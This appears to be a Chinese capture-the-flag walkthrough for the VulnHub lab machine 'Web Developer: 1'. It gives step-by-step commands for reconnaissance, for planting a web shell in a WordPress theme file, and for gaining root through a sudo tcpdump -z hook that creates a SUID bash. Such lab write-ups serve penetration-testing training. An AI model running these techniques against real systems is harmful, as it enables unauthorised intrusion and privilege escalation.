OSCP难度靶机之WEB DEVELOPER: 1

虚拟机信息：虚拟机下载地址：https://www.vulnhub.com/entry/web-developer-1,288/虚拟机简介：获得 root 访问权限目标：1个flag级别：中级

1、信息收集

1.1 主机探测

arp-scan 192.168.207.0/24

1.2 服务探测

nmap -A -sS -sV -v -p- 192.168.207.150

查看开放21、22、80端口

2、渗透测试

2.1 WEB渗透

根据nmap扫描提示，站点为WordPress

wpscan --url "http://192.168.207.150" -eu

未发现有用信息

dirb http://192.168.207.150

发现站点目录

访问站点目录，发现审计流量数据包

在数据包中POST请求中，获取到WordPress登录账号和密码，用户名为：webdeveloper，密码为：Te5eQg&4sBS!Yr$)wf%(DcAd

选择编辑并选择不同的主机，并选择404.php

提示上传成功

使用冰蝎进行连接

http://192.168.207.150/wp-content/themes/twentyfifteen/404.php

cd /var/www/html
cat wp-config.php

获取到数据库用户名为：webdeveloper，获取密码为：MasterOfTheUniverse

2.2 主机渗透测试

ssh [email protected]

sudo -l

在/tmp目录中创建文件

vim /tmp/bash

cp /bin/bash /tmp/sh-1
chmod u+s /tmp/sh-1

赋予文件执行权限

chmod +x /tmp/bash

sudo /usr/sbin/tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/bash -Z root

新开终端使用nc连接本地网卡，发送数据包

nc -v -z -n -w 1 127.0.0.1 1

ls -lh /tmp/sh-1

/tmp/sh-1 -p

已经获取到root权限

cd /root
cat flag.txt

原文始发于微信公众号（安全孺子牛）：OSCP难度靶机之WEB DEVELOPER: 1